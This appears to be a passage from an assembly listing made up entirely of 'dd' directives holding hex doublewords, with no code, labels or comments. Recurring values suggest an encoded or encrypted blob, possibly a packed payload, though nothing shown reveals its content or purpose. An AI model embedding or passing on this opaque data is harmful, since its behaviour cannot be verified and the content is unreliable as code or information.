0EFAA9DFDh, 0F46C351Ch, 3B1CF190h dd 0B41BE0FBh, 89DD98F0h, 91B92124h, 482C5AC1h, 0B462077Bh dd 0D38998F0h, 0DA9188Ah dd 4B38D2D7h, 39C398F0h, 0AF308AB0h, 58A65615h, 2DF511F1h dd 0A7A24CB2h, 0E778C49Fh, 599C6E67h, 8275C171h, 198984B4h dd 0FEF33ED1h, 0E22E1EF3h, 68E9DE70h, 0B7C063B9h, 3B0719F0h dd 0FA684A29h, 71093714h, 958B46A8h, 4AFAC3F4h, 0D9A7250h dd 70E378A2h, 45E37687h, 129C71A1h, 4613192Ah, 9999682Fh dd 0E4C398F0h, 76B97847h, 0D387D2F0h, 59497668h, 6CFAC070h dd 0B7C3995Eh, 0C04230B8h, 5C3D384Ah, 7787EC1Ah, 9A01015Bh dd 0F1C398F0h, 48B7C2AEh, 0CB1D3D40h, 9C55DF7Dh, 0EA4BED3Dh dd 0C1D9DB32h, 6C173062h, 0B7C39957h, 41DD6C75h, 467600C0h dd 6CB68AA7h, 0B7C3992Ch, 6011061Eh, 6A06F3BFh, 831DE4D9h dd 311E4927h, 684C71F6h, 8317180Fh, 0B4730162h, 4D3B98F0h dd 6BC398F0h, 40800337h, 0B71097D0h, 0D6C398F0h, 0B7C38FB8h dd 0AB3928F0h, 0BE89C49Bh, 0BAE0DD8Bh, 0B470E107h, 2F2598F0h dd 0AD866BC4h, 28035EEh, 855182E9h, 0E276CB69h, 0E488BDEh dd 0B99C2250h, 49E29B47h, 6CC398F0h, 0B7C3992Dh, 900476Ah dd 72485D2Ah, 1A8FEC03h, 1CB97911h, 4F3A52AEh, 24C398F0h dd 9B62D54Fh, 0A72635B9h, 0B7C39A4Ah, 19B978F0h, 35792F3Bh dd 0F286B4DFh, 0D3B978A7h, 988D97DFh, 0EDC398F0h, 0D1ABEE70h dd 6C110F51h, 0B7C3981Fh, 7F625BDEh, 0F0F1FADEh, 0FBCCDD73h dd 19B2296Ah, 5CE65ED0h, 2AF9BE29h, 0B75FE15Fh, 343298F0h dd 0EAFE473Ch, 881CB2D0h, 0CC96D55Ah, 0A929E071h, 7DE293DCh dd 0FF79F5DDh, 0C4161951h, 6A90788Dh, 0DB4B72C3h, 192875EEh dd 0B5B31EB6h, 513B6A08h, 0DDC398F0h, 0FB7264FFh, 0BD6624B5h dd 0C49687Bh, 37AB0F0Eh, 4B38C440h, 85C398F0h, 8F48EE3Ch dd 450C94C0h, 229AF00Bh, 0C2A1953Fh, 6C4B7B17h, 0B7C3992Dh dd 95EE38A1h, 0EA5391E3h, 27AB76CDh, 0B7E69AFFh, 0FDC398F0h dd 0B7C065B8h, 0A5602DF0h, 75495C53h, 83713F7Bh, 0EB0D6E1Ch dd 192EFF4Eh, 243B762Bh, 67489B1Dh, 0EDA9307Bh, 0F7DDFC70h dd 0B4621262h, 774398F0h, 0B99A7367h, 4C01FB11h, 89C398F0h dd 0DEB827D2h, 35140B64h, 0C15B307Bh, 0B41AFE67h, 0B6F798F0h dd 6026098Bh, 761E9547h, 0D70118DCh, 0B7C38EB7h, 0C020F3F0h dd 0CF2B44E1h, 371134EBh, 0A72B07EFh, 0B7C39D70h, 4D9897F0h dd 9AC398F0h, 0B7C398ADh, 1F081BF0h, 50FE7DABh, 0F1F35426h dd 0B40D1462h, 92E398F0h, 4E327945h, 26C398F0h, 0D707621Dh dd 1950E513h, 7A267B83h, 0BB3F0396h, 71507F00h, 0B7C39854h dd 565BD61Ah, 528C7BD8h, 4F76F127h, 64CD2980h, 6F661DF0h dd 0B479E149h, 687C98F0h, 13DA4A09h, 1FADF1C6h, 0C3F14160h dd 19899AC4h, 75D4A120h, 0E287DC58h, 0FB41720Fh, 0B75FE0ACh dd 6D9E98F0h, 0EE8160C4h, 6CD76145h, 0AC0A5D38h, 0FF11D862h dd 0B472E050h, 5C1398F0h, 0A3D92CEh, 0C771AD41h, 0E334A70h dd 223F5AB1h, 654897D3h, 993EFF48h, 6AB960F4h, 513B9FAAh dd 0C4C398F0h, 8A4B7407h, 13A2749h, 0FFA70F60h, 35EF1AB2h dd 0CC908C08h, 0B7C3992Fh, 6CA70F2Ah, 0B7C39957h, 0D461B9DDh dd 7AD946FAh, 6CCC6FB3h, 0B7C39957h, 6069708h, 0CD7E44D5h dd 347772D7h, 47E011C8h, 8EC8BAB7h, 0B464E10Fh, 0DB2898F0h dd 0C2972B98h, 6C80E7DEh, 0B7C3997Bh, 0B73CC263h, 0E78E3CB9h dd 0F13602ECh, 75F25222h, 0FC4A6405h, 0B467E149h, 70DB98F0h dd 0DB782704h, 0B71F6834h, 2BC398F0h, 0B79EFDE4h, 204E98F0h dd 0AA687F6Dh, 36750350h, 40BC5C24h, 0D19323C6h, 0B7C3992Dh dd 0E22B5300h, 0E2535227h, 983B8ADEh, 0E5C398F0h, 68E98E83h dd 0E7F3CB2Ah, 9B9A9B48h, 0EDC398F0h, 5F9B9029h, 0B464157Bh dd 6A5198F0h, 0D389A02Ch, 0E15B15B1h, 0D3AD1A39h, 0D3B8297Dh dd 0D3B97868h, 0CE22319h, 4B326ABDh, 0FCC398F0h, 287CABB8h dd 0AED51881h, 9F7A3920h, 0F1A52C5h, 34C92F98h, 0DC18E9EFh dd 6AA315F0h, 26CF6EF4h, 0D04D7318h, 0B785E19Eh, 0E5A898F0h dd 5BC7BC10h, 0F75A4EA6h, 9A16AB9Ch, 0B7C3944Ah, 164897F0h dd 0B4611B7Bh, 229098F0h, 0B7C39956h, 1CB97950h, 0D389932Dh dd 2584CBC5h, 7183600Fh, 0B7C39806h, 39CC2F0Fh, 0B9B159CAh dd 0F312E14Ah, 2AAC351h, 0A780FB23h, 0B7C386DEh, 0EDA50EF0h dd 3556FB70h, 8738302Ah, 0B7C397B8h, 278E72F0h, 80176738h dd 8D2CEDC8h, 166580BAh, 0B7C39BB9h, 0F3CF45F0h, 0DBA2A099h dd 0CDC93FA2h, 0C88E7929h, 0B470E0D2h, 0F5FA98F0h, 0CEA2DE48h dd 1C7A8Dh, 0BC3D0B37h, 37FD016Bh, 0DE005DFh, 3B182407h dd 9A13D862h, 0B7C391FBh, 4A9A72F0h, 348374FDh, 0A538E017h dd 38C398F0h, 0CE74E0B7h, 1D48A84Ch, 156C1D87h, 0E75578BFh dd 0B7C39DB8h, 0DD6A82F0h, 31E5997Fh, 42E920C7h, 340B0F9Ch dd 2DF1BE8Ah, 5A9C71E7h, 0B7C38EB8h, 0E6B5C8F0h, 0E93C64E5h dd 5D704C75h, 0FA427248h, 0F9A7207h, 77873F3Bh, 42E2416Bh dd 0EDB0BBCEh, 0B7C064B7h, 601B2AF0h, 7819872Ch, 4217A668h dd 25C31BDh, 0AB342979h, 0B4417206h, 0CC935148h, 0B7C398F0h dd 0B7C38EB9h, 375473F0h, 9FAFC492h, 0E79A53CAh, 2F4071A0h dd 42B67C2h, 99439B74h, 0D1C398F0h, 0B461FD8Dh, 0D5EA98F0h dd 72426B34h, 1A9E03F0h, 0B7C39957h, 7F489B50h, 3DAAD771h dd 0D38298CBh, 0ABFF15C9h, 9372C1B7h, 0C1B00F51h, 7136C5DEh dd 0B7C39957h, 5E734A32h, 7FD28A13h, 0D53F4032h, 10303151h dd 1C2CCB7Ch, 9E568277h, 0B41CE150h, 0DB0398F0h, 794FE71Bh dd 0B3460ED6h, 0ED3AC6BDh, 0A7828ADEh, 0B7C391D8h, 2DB9FEF0h dd 1A90761Eh, 0B7C398CAh, 0F37ED671h, 0BBE22428h, 0A6B7197Ah dd 0A72706FEh, 13E9F68Bh, 6D9A733Dh, 0E85614FCh, 6A9EC8DEh dd 4D3A8E2Bh, 0E0C398F0h, 0A68CE0AFh, 92A61BC9h, 0FC120F51h dd 0B7850162h, 229098F0h, 0B7C398CAh, 0B469157Bh, 379098F0h dd 0B7C39965h, 87B1192Ah, 749C5FDFh, 479A7242h, 1990B394h dd 0B7C39964h, 510ACA2Ah, 0B8E9CED7h, 4F4397B9h, 0FEC398F0h dd 0A3DDF770h, 0A72A9EDFh, 329ED68Bh, 0B466FE19h, 0AFBF98F0h dd 3DC6CF10h, 0B798689Ch, 6CC398F0h, 0B7C3981Fh, 15CE3474h dd 9DEAC92Eh, 8AD22AE1h, 0CDC1ED36h, 9ABF76DAh, 0B7C386E4h dd 0D1AB01F0h, 0E4ECCC65h, 7D9D6618h, 0B7C063B8h, 4DC2A0F0h dd 272B180Bh, 24122963h, 6900B606h, 0D72ED2Eh, 0B464077Bh dd 234B98F0h, 0CB615F4Dh, 0B4641462h, 0A73498F0h, 712CD083h dd 0B7C39860h, 0CB49B82h, 2F11E2C8h, 1FCA6A4Dh, 2530FD76h dd 0B79B6868h, 37C398F0h, 579A7DB7h, 9B93EF5Ch, 4A46CB2Ah dd 49FF192Ah, 989A689Dh, 1CC398F0h, 95AA08BAh, 57DE1951h dd 71BA78E5h, 0B7C39933h, 0D3CD08B2h, 6F95B913h, 0B7C39860h dd 25D4E158h, 0C8C90A72h, 0DA4787Eh, 7FFD783h, 0D65BD070h dd 1A93575Fh, 0B7C398F0h, 1CB96A49h, 404388EDh, 679A721Bh dd 6A9EF178h, 234C5740h, 0C62452B6h, 3411CFDEh, 89CB1EBEh dd 7D9C720Ch, 0B7C399B9h, 5C2525F0h, 0D1887DDh, 0AE950704h dd 669ACE66h, 0B7C391B9h, 405277F0h, 34904E98h, 0B7C39952h dd 0B7C39DB9h, 4ECC68F0h, 3E8CD8F3h, 67536B64h, 983A97F5h dd 33C398F0h, 2651BF24h, 4D439B50h, 9AC398F0h, 0B7C398DEh dd 0C2828DF0h, 0CC43CF70h, 16A6192Ah, 594271FDh, 0B418E0E7h dd 1B6898F0h, 0F28306DEh, 89B484EAh, 0B7C38EB7h, 38C8B2F0h dd 1C2F45B1h, 0D749FDDCh dd 0A72A5150h, 0B7C393ADh, 7D4897F0h, 1D4EFCF5h, 0E26C7B80h dd 329EDADEh, 918C8h, 0B7C39BB8h, 0E4DD4F0h, 42D0ABEDh dd 0EA0F690h, 0FFAAD87Bh, 0C49F195Fh, 0C1CD6BABh, 1987D7DEh dd 1C664FD1h, 0B464BC4Ch, 0BA541283h, 0B41B1A7Bh, 983A98F0h dd 8BC398F0h, 7F416DD5h, 0B7C399B9h, 0FB882EF0h, 0E76016A9h dd 996179C1h, 6A9EE246h, 640015C8h, 6C7ECB19h, 0B7C3995Eh dd 83C84627h, 1B396B4h, 0FC08E7C3h, 8F427368h, 9E161848h dd 4936FF2Ah, 75562469h, 9E439B47h, 37C398F0h, 71344EB6h dd 0B7C3981Fh, 1D76CB62h, 0C6E8C372h, 0CD95F045h, 776F3BE6h dd 0CA68A710h, 0B7C391B8h, 7F8309F0h, 72E3492Fh, 9A980669h dd 0B7C386E5h, 6CAE1BF0h, 0B7C39860h, 75E44A1Fh, 7E78B396h dd 89CA4456h, 5F15753Eh, 419C7250h, 0D40B0F2Ah, 7687A8DEh dd 5C8370BFh, 1CE49728h, 329078E8h, 479A733Ah, 5A9AFC42h dd 0B4621E7Bh, 0D38998F0h, 4D1097C8h, 34C398F0h, 0EDA4EEB6h dd 6A908C06h, 0B472E08Eh, 0E28198F0h, 0E1A825A4h, 3DB5E8BDh dd 0D9010B02h, 73871010h, 6829CBCBh, 6C2B6557h, 0B7C39861h dd 72EE5FDFh, 7EDE031h, 442E972Eh, 0D372C6C4h, 99926824h dd 0D1C398F0h, 144B7868h, 1C92E2A8h, 0F741DB4Fh, 0ED163062h dd 0CA36E070h, 6C0B583Dh, 0B7C39965h, 1DF29CB1h, 8255192Fh dd 0B4670162h, 59E298F0h, 0A5916F3Ch, 5C828C50h, 119A737Ch dd 5A9AC78Eh, 6C296A3Fh, 0B7C39854h, 2F66C0E8h, 0C2430276h dd 0B3557DD0h, 0D3759162h, 77B0D2E5h, 0C3BAED70h, 9BE79B48h dd 0EDC398F0h, 718C24B2h, 0B7C39854h, 1DBEBEE6h, 693DC783h dd 7234D221h, 2091FD87h, 9B3BB626h, 0B472E150h, 0DE8898F0h dd 8495B6A6h, 74F6FB2Ah, 22F601C9h, 8AAADAABh, 0B785E10Eh dd 0A5F098F0h, 98557186h, 8BDCFD22h, 0A0B5D020h, 0AFA2192Ah dd 749A723Eh, 1CB97FE7h, 92542CC5h, 0B7C39CB8h, 168977F0h dd 33D87A3Dh, 460E191Dh, 34B71C9Bh, 1BD681B1h, 7D489B31h dd 0B7C39AB8h, 0A8336BF0h, 0AE1AE4F1h, 0B75B4DC7h, 0E25096AEh dd 8A0CA370h, 9E109B49h, 0EDC398F0h, 0D190BEDEh, 0B7C3992Fh dd 0AEBB1F71h, 19871855h, 0ED9E1A21h, 1ED0F370h, 0B464017Bh dd 3E7D98F0h, 0A18C5352h, 0B7C396B8h, 0E9F5BFF0h, 4D5E81BFh dd 0D59C95DFh, 3DEFD3AAh, 6F1EC6C1h, 0B7C39957h, 0EC0A672Bh dd 46779DE0h, 0EDC35E4Eh, 0CA2CBEDEh, 0C4CCDE70h, 8B336BDCh dd 608D3151h, 5C836DABh, 5DB5A3D7h, 97EABDEEh, 69489B31h dd 0B469017Bh, 199098F0h, 0B7C39956h, 5AE2583Fh, 0D7BA2C62h dd 4D9D6867h, 34C398F0h, 27495DC3h, 0B75FE10Bh, 264098F0h dd 354B6A1Eh, 3E3CA6h, 9ADC055Bh, 9A2DA5D7h, 0F7C398F0h dd 0BF09A0B3h, 0A301DDEFh, 7FD7E1EDh, 4C01CDFDh, 8CC398F0h dd 0D71EFA55h, 0A0F05CC9h, 0B7C39BB8h, 9340DCF0h, 41793C87h dd 0DACC8EF3h, 0B4691662h, 0C12A98F0h, 0EA34F970h, 1B90615Ch dd 0B7C398F1h, 0B466FE7Ch, 403498F0h, 0C171286Eh, 0B75FE110h dd 6C7D98F0h, 75807E2Ah, 347AE090h, 0EA9E60FDh, 5D91D6AFh dd 0D9C7250h, 0B7E49B50h, 6CC398F0h, 0B7C39959h, 0C69EAC32h dd 61506359h, 0A7BA7931h, 0B7C392D2h, 7BBE15F0h, 0A7213D15h dd 0B7C398D7h, 0B75FFDF0h, 7A2F98F0h, 0B12DA26Fh, 79C35100h dd 0C672A5A9h, 0B7C399B8h, 4963F1F0h, 59056A4h, 874A777Dh dd 329EC8F2h, 0CC9EF11Eh, 0B7C39965h, 479DF127h, 0E63C1809h dd 0CCD5CA51h, 6C5A0F2Ah, 0B7C3981Fh, 16EAC6F6h, 0A1F1DBFh dd 40E476A7h, 5BCC39D8h, 0D2DB8D35h, 0B479E0C9h, 59AF98F0h dd 0C40718C7h, 4394C3AEh, 0E04DCB4Dh, 0D62FF5AAh, 0B19897D0h dd 6FC3992Fh, 0B7C39952h, 974B449Ah, 0D822F3A2h, 426CCC40h dd 0A73BACCFh, 41C398F0h, 0B41D27C3h, 8971D13Ah, 6358989h dd 0D5796A08h, 6C14C4D2h, 0B7C39860h, 39999EAAh, 0F772F1BDh dd 5AB75DE1h, 602859CAh, 0D7A6307Bh, 6B75FF51h, 0B7C068B9h dd 0E03CF8F0h, 35A356E3h, 0B8B1DA1Bh, 0F757166h, 649C75D7h dd 0D3905426h, 0B7C3981Bh, 0B7C068B8h, 82CB65F0h, 0EFDC6903h dd 2D7D5501h, 3D294AACh, 5B0218C0h, 0C1E3AB89h, 7C9D666Ah dd 0B7C380B8h, 1F1CC4F0h, 0A5DCDADEh, 0D7337830h, 0B7C063B7h dd 0F4E719F0h, 49B4A3B8h, 9C1AFE05h, 74893A5h, 8F393443h dd 712C7945h, 0B7C3981Fh, 9CA0544Dh, 4BFF19B4h, 774952F1h dd 0BEDCC36h, 44D63E8h, 6A9EF160h, 0D15B0F3Bh, 9A101BBEh dd 0B7C065E5h, 0B785FDF0h, 7F9198F0h, 0CEF7AB9Bh, 0EFC3D1ACh dd 778E7EBBh, 0D3B82823h, 0B466E0C6h, 4BD398F0h, 2208309Fh dd 0F3B1955h, 0D7287503h, 0B4620F62h, 6A9098F0h, 9A1E7967h dd 6C80DC83h, 0B7C3992Ch, 0E374453Fh, 81A4C4DEh, 9861D2AEh dd 0B7C391B9h, 0F436CFF0h, 0D62D77CEh, 0CBC518B0h, 0B7C399B8h dd 9C39B5F0h, 0ED7D9552h, 0B385F204h, 493861D0h, 17C398F0h dd 0AD4DC623h, 50904021h, 670357CCh, 0D4A5A387h, 0DF4B7301h dd 562D9EFCh, 56C398F0h, 0DB59A394h, 8391B6A2h, 0F9CB071h dd 0CB44C971h, 76B821A9h, 493B622Ah, 0DFC398F0h, 5A4339AAh dd 0E7C7F4E4h, 0E8293DF8h, 0F71F1F8h, 0B467FE19h, 0A49B98F0h dd 0A44F9538h, 0F6190701h, 8CE1F0E1h, 53B3B8B8h, 5A8018DEh dd 22269C61h, 1D13EFEDh, 1D10AD9Ah, 0DE1FBC3h, 0E362FFE1h dd 20227658h, 0DE1E95Bh, 23BEFFE1h, 6DE1F0E1h, 20291041h dd 0DE1FAC8h, 0DBAFFE1h, 6EE1F0E1h, 0B9247140h, 20297402h dd 0CA68BE9Ah, 6E38EBA2h, 1168ABCFh, 83AB631Eh, 0E66B0079h dd 6D216041h, 0FA1A7140h, 6E8C73FFh, 23BDF341h, 6BE1F0E1h dd 4C197108h, 0DE1F4A6h, 953C59E1h, 24F2DB1Fh, 46019678h dd 0DFB81A90h, 58023E61h, 0A9048F61h, 0D6A11124h, 0DE1F13Dh dd 92167EF7h, 84EBE675h, 9FE0D0C9h, 1D981159h, 0DE1EECFh dd 8E9366E1h, 617A4309h, 22B9F358h, 57E1F0E1h, 92CC9161h dd 0E3A88ABh, 93CDF0E1h, 92A82CE0h, 702C0238h, 8A1BECFFh dd 0E3A963Eh, 3947F0E1h, 9FE38D3Bh, 6DC547E6h, 0E43894Eh dd 0D5C5F0E1h, 0E0A87C30h, 1D0866DDh, 78A2AE92h, 28828361h dd 208D6740h, 0DE1F4BDh, 0F73CFFE1h, 20E1F0E1h, 0DE1F0CFh dd 0CF8573E1h, 2D8AC1DBh, 0DE1E6A9h, 1892CBE1h, 0CEAB8183h dd 78AB1B4Dh, 1D1AAECFh, 58E1F0E1h, 50D2A834h, 3100255h dd 6A85891Fh, 6E4D6F68h, 2032671Eh, 0DE1F15Bh, 88B21DE1h dd 0CD9B1E77h, 0E261D356h, 0F86319DCh, 6D8DA42Bh, 1D191EE5h dd 86E1F0E1h, 3B13A410h, 2DAE2C7Fh, 0E4D89ADEh, 0A5F9B420h dd 53962651h, 19366CC3h, 2089673Bh, 926EB892h, 20E51B1Ch dd 0CCA5B59Ah, 69A56FD4h, 0F9C0386Ch, 0ABBE0253h, 0DE20BA8h dd 7919D5E1h, 0A0B2E5F3h, 4A4B16F7h, 0C0E0A64h, 0CCF6CC70h dd 0E437C6Ah, 78C1F0E1h, 0A5154334h, 6D3C1DBBh, 0D63E2539h dd 80631118h, 0E7A02B64h, 0C1219B36h, 0B462F30Ah, 0DE1F5A8h dd 0D03F71E1h, 0A7FBE39Ch, 7C14648Fh, 0FCA68361h, 0D17B4DA3h dd 0E40696Ah, 0D861F0E1h, 5732760Ch, 0D6A2CB34h, 0DE1F00Eh dd 0D925D67Fh, 9B46671Bh, 0C021F634h, 1C395C40h, 0A57F5DF5h dd 54730262h, 2085671Fh, 0DE1FCC8h, 206E1AE1h, 0A3ABE638h dd 0D699572Bh, 0DE1F148h, 0BA95C095h, 22E5B6B5h, 0D5B81A91h dd 580A9D7Bh, 83DF9661h, 6BD7140h, 53A357F6h, 0E3AFE6FAh dd 0E40806Ah, 0D761F0E1h dd 0E3F95A0h, 3A33F0E1h, 61C6F4AFh, 1813BF11h, 6A7F8B7Ah dd 519066B2h, 78A04E6Ch, 46CFCC61h, 48A40336h, 0A39B110Ch dd 57942A02h, 6D945138h, 6C9566B0h, 0E468941h, 84ACF0E1h dd 58300375h, 0B17F9F61h, 0DE1E6A8h, 523EFAE1h, 795C744h dd 57DC1E03h, 577E83FFh, 986CC0CFh, 690B5580h, 23B80043h dd 6BE1F0E1h, 0A39A4C6Ah, 6FE9A6A3h, 0DBA59AC4h, 0FDB85D7Fh dd 4C7B9E60h, 3362C82Ah, 889DBF88h, 0B59B7DE4h, 1DA1EA06h dd 0DE1F0BDh, 0B56AFFE1h, 206D9B61h, 0DE1EF61h, 6C3B73E1h dd 25D0A2D8h, 0CBC026E1h, 6260A24Dh, 0F7BD9740h, 2491BE60h dd 0CCAB3CAFh, 0B4AFE057h, 473BB06Ah, 0DE20DA6h, 0AB70CCE1h dd 0C15E04D5h, 81B31675h, 9B53C000h, 1F6A11BFh, 0CBA03858h dd 0DE1F13Ch, 0CF36EDEDh, 0A0494B7h, 2EFC79CCh, 0E4395A7h dd 34D1F0E1h, 0E322BC2Eh, 0CBA250A3h, 0DE1F071h, 935F36B3h dd 688BDC8h, 4B26B965h, 7ED60C57h, 0BCE0B139h, 0E3F88EEh dd 9EB1F0E1h, 705D69B7h, 337340AAh, 6F71D778h, 40CEC810h dd 0F4182FD5h, 0FBE1F0E1h, 0BCC769FDh, 0BF5C9B85h, 6ACC4CE6h dd 8DA9FA8Ah, 69108C36h, 2D7C0378h, 71FC7E76h, 0CAFF20C7h dd 0DE1F16Ah, 6AEDCDCh, 586F25B3h, 5F202B25h, 20AF5142h dd 0DE1FF5Bh, 0E3E95E1h, 0E417F0E1h, 0BB5C9BD6h, 9209215Eh dd 340E0ED8h, 70946740h, 0D6306740h, 0DE1F146h, 0A91F7BBAh dd 0C3AB596Ah, 0BE4A6C19h, 758A70C1h, 0F2E3583Bh, 0CDC292CFh dd 5CA5C290h, 0A3AB23E5h, 1D14B303h, 0DE1EEA2h, 20216CE1h dd 221AB392h, 25E1F0E1h, 0C90E2629h, 0D68D586Ah, 0DE1F00Eh dd 32FC6603h, 0BA0D49C6h, 116EEF96h, 707C3A07h, 0D56BC018h dd 0DE1F146h, 93805498h, 0AFD740A3h, 0DC26C215h, 9A2FCBCEh dd 0F98C7056h, 0BA69ABCFh, 1DA1572Ah, 0DE1EEF5h, 0CF8E66E1h dd 0F308BA0Bh, 0D0BC98C6h, 3F6F1AA0h, 48346714h, 57826756h dd 0D0BCA8CFh, 1736A2D8h, 98B2EEB0h, 0DE1F122h, 21516B41h dd 0D6A2AB9Ah, 0DE1F148h, 0E66B2DA9h, 0DD53314h, 5E32707Ah dd 22BDF358h, 0D0E1F0E1h, 6C7F94D9h, 0D6926740h, 0DE1F070h dd 5583F003h, 0EBD2DC36h, 0E835D28Eh, 0D290EF48h, 1E32FFA2h dd 0D5E1F0E1h, 0DE1F14Fh, 6A2A61F0h, 675462DBh, 7B283970h dd 65A5F436h, 243CFFDBh, 57E1F0E1h, 0A3A58FCFh, 2146C49Bh dd 0DE1F9C7h, 12E2A3E1h, 0A7C139DDh, 0E3A8948h, 0CD6AF0E1h dd 616A18BCh, 1DAC46A5h, 830DAE92h, 0E427E73h, 5728F0E1h dd 84518861h, 5C3B7140h, 0C7B81A8Bh, 0EF61DFF6h, 0F7BB0011h dd 8EE1F0E1h, 23ABFB4Bh, 21396BF9h, 0DE1F560h, 0F7C0FFE1h dd 20E1F0E1h, 0DE1F0C7h, 0EF257DE1h, 57F84D67h, 0A30E4F36h dd 1715F903h, 928270B5h, 0A5ECD41Bh, 0EC398267h, 0DE1F5A9h dd 36306BE1h, 618B5853h, 0EEC28F0Ah, 4F051907h, 0D0B13F58h dd 6AB138D7h, 0DE1F13Ch, 8072BDC6h, 0E46891Eh, 0B7BBF0E1h dd 0D6A143A5h, 0DE1F149h, 85E4557Fh, 0DDB94DEAh, 0A3980678h dd 98DBEB0Fh, 22C3F2AEh, 57E1F0E1h, 7047BF61h, 57855873h dd 98E59B61h, 3443A33Bh, 58109FBEh, 9AB99C61h, 9C79593Bh dd 0E55726Ah, 1E18F0E1h, 5CE1F0E1h, 652A0587h, 0DE7DEA01h dd 0BD6FE17Ah, 2A46581Fh, 0CF2A82CFh, 82E86C5Ah, 0DE1F3A6h dd 35E0FEE1h, 2A8C5809h, 0B99C6AC5h, 0E467A6Ah, 415FF0E1h dd 799B0E2Ch, 0DA7891Eh, 6E2CF0E1h, 0C96618E4h, 7D1F08A1h dd 0F41A1779h, 89E1F0E1h, 3C71DDCFh, 0DD87E696h, 0E6747F45h dd 0C84B09C2h, 0C6B81B24h, 799E6187h, 75B2111Fh, 0DE1F013h dd 0E3F8841h, 7B66F0E1h, 6F12853Eh, 0B72B77Dh, 143E7523h dd 6F117E14h, 6E0C822Eh, 0D99B1141h, 0F31A565Eh, 8CE1F0E1h dd 31F78321h, 0B75EEB80h, 0B0794CAh, 81C49B68h, 0EAFF389h dd 19E1F0E1h, 0EC3F341h, 0E5E1F0E1h, 8F23713Bh, 699B1DC9h dd 0F51A990Bh, 9AE1F0E1h, 6E4CCC6Eh, 0D0C4A6D5h, 558B79CBh dd 706F1A57h, 0D52C38DBh, 0DE1F148h, 0A2BF187Fh, 0D88F52h dd 8EB140F6h, 0DE1F0E1h, 0D0B13859h, 0DBC8950h, 767BF0E1h dd 898F0255h, 26F4469Bh, 0F1751D4Dh, 6F765F22h, 0E527473h dd 6AB2F0E1h, 0DE1F14Fh, 0DE1F9A9h, 0D5C540E1h, 1D0A55BBh dd 0DE1FBCFh, 0BB9270E1h, 42C41538h, 0AB614DEAh, 79076529h dd 0A3AB8FCFh, 0D6AFC3D8h, 6F5B6BECh, 86F9A240h, 0C2897140h dd 0E3F95BDh, 0FF41F0E1h, 7075017Ah, 9157BE9Dh, 736EB81Ch dd 0FC124F7Ah, 0A3A5A6E4h, 0D69955D8h, 0DE1F045h, 0E2B71287h dd 57501A51h, 8BA33864h, 0EA44B8B3h, 9D89968Fh, 0DC3F341h dd 9CE1F0E1h, 58021E3Ah, 0D525BF34h, 0DE1F122h, 0CE867CB1h dd 45AE365Ah, 8BE6A240h, 202901BAh, 0DE1F0C6h, 0C6FC70E1h dd 0BDAFB361h, 5C631A17h, 0CBBD7E22h, 20D858F9h, 6BBC9092h dd 0DE1F017h, 0DE1F2A8h, 5592F6E1h, 0A0081FD6h, 6C080157h dd 8EBC59DBh, 0C1A79BD9h, 22C3F365h, 0A6E1F0E1h, 50248DE8h dd 0A0B14B25h, 0DE1F13Eh, 6C8A586Ah, 0E456773h, 0E3C0F0E1h dd 65DF7E41h, 263B7140h, 30787E2Eh, 0BDD83563h, 0F6AF300h dd 0F41837E4h, 88E1F0E1h, 75AE62EFh, 0B591EE74h, 7815E560h dd 3900E93Fh, 0F51A9587h, 0A0E1F0E1h, 9709CE8Bh, 7B27FEAAh dd 578C5873h, 9C821234h, 0DB9B1109h, 0CB1BD443h, 0DE1F143h dd 0E5887h, 0E150E668h, 7EC4966Ch, 831388E4h, 8E9B6740h dd 0CC4357D6h, 0E388955h, 0F36AF0E1h, 0C26EC5D9h, 97A6ACA6h dd 0E7621A84h, 0D690743Dh, 0DE1F143h, 299FE7ACh, 170DA971h dd 5826FF28h, 0F61AAD0Bh, 0A6E1F0E1h, 151FA0FCh, 3A305AFBh dd 2618A161h, 88B2216Eh, 0E3E8979h, 0E0C5F0E1h, 0C685DE0Bh dd 13BD9697h, 2060DDCDh, 0DE1EF5Bh, 6FFF4DE1h, 0E6815873h dd 0DE20BA8h, 0E6A80E1h, 0FEF0EC90h, 0D6E35A13h, 0EBAE9E35h dd 33853D69h, 0A5315873h, 70AB8B3Ch, 0DE20DA9h, 429CCAE1h dd 76872972h, 0AD718D00h, 29FB1807h, 1D11697Bh, 0DE1FE5Bh dd 1D09A9E1h, 0DE1C4C9h, 0E4688E1h, 0E75F0E1h, 0D6CD90BBh dd 0DE1F13Dh, 4DADDF64h, 1557BAC0h, 99E5A813h, 19896759h dd 0DE20DA8h, 0BE2B30E1h, 0CE569A4Dh, 0E2AD9F36h, 0C3FB81EDh dd 1D10FF25h, 0DE1F960h, 0E5095E1h, 0CF81F0E1h, 12FDA120h dd 10AFA98Dh, 822CEBD5h, 0ED440A42h, 0F410067Dh, 42E1F0E1h dd 5826FF28h, 162AD0Bh, 57E05E5Ch, 824C0FEAh, 0D0B2F99Bh dd 0FA691B50h, 0E6BE1AD7h, 0D0BCA7C6h, 0E5188FEh, 5313F0E1h dd 0BE006107h, 0FF819DFEh, 0BF959381h, 3867DF04h, 0EBBEF358h dd 6DE1F0E1h, 0C61BB861h, 7007F37Dh, 6D796741h, 0DE1E6A9h dd 0DE8D6FE1h, 0BF041AB8h, 6E8D7791h, 0DE200A9h, 0C58F3FE1h dd 30F8B3D1h, 0DC9DEAABh, 0EABB8B19h, 0F8B81AEBh, 0CDA54244h dd 0CCABFF54h, 0E4C2834Eh, 244CE923h, 0EC5F341h, 0D2E1F0E1h dd 0F035713Bh, 203C10D1h, 0DE1E6C7h, 88B210E1h, 0FFB81AD8h dd 1DA0D1A0h, 0DE1FDA2h, 69ABE5E1h, 0E3E9607h, 0D79DF0E1h dd 0E2910953h, 82A1F6E3h, 0A54F88A1h, 6713629Eh, 0A47C5E34h dd 88897628h, 0F4C3F30Dh, 8DE1F0E1h, 0AE6DB49Ch, 8F433827h dd 0E661A951h, 57886AE7h, 0E517AECFh, 0F48B713Bh, 3E2A2EAh dd 69B2226Ah, 0DE1F13Eh, 0E76B0024h, 1B46973Bh, 27FC716Dh dd 0A6A5B3CFh, 69B2F451h, 0DE1F148h, 0DE1F5A8h, 7A4307E1h dd 8A200555h, 58149B15h dd 14998761h, 0F062F356h, 0C8C101B2h, 0DC236CBBh, 5DDFE08Fh dd 28796740h, 70A28FBEh, 10603F34h, 0A39B1057h, 6EAFD732h dd 0FD62F31Bh, 0B5B81A58h, 0A3A552F7h, 0D6B9714Bh, 0DE1F13Dh dd 0BCF2E094h, 4B227728h, 392D44CEh, 6D3B5873h, 6E856740h dd 0FD8C9161h, 0DBABDC87h, 6D17A633h, 54079061h, 6E1F4C7Ch dd 